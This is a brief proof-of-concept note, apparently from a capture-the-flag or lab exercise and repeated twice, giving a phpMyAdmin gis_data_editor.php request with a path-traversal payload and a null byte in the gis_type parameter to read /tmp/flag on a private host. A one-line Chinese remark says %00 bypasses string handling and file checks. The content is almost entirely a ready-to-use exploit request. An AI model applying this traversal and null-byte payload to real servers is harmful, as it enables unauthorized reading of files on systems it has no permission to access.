POC
http://10.9.47.235:24667/pma/gis_data_editor.php?token=6748955c5c0965fda7126d40b660670c&gis_data[gis_type]=/../../../../../../../../../../../../../../../tmp/flag%00
%00
是空字节,它可以用来绕过一些字符串处理函数和文件检查
POC
http://10.9.47.235:24667/pma/gis_data_editor.php?token=6748955c5c0965fda7126d40b660670c&gis_data[gis_type]=/../../../../../../../../../../../../../../../tmp/flag%00
%00
是空字节,它可以用来绕过一些字符串处理函数和文件检查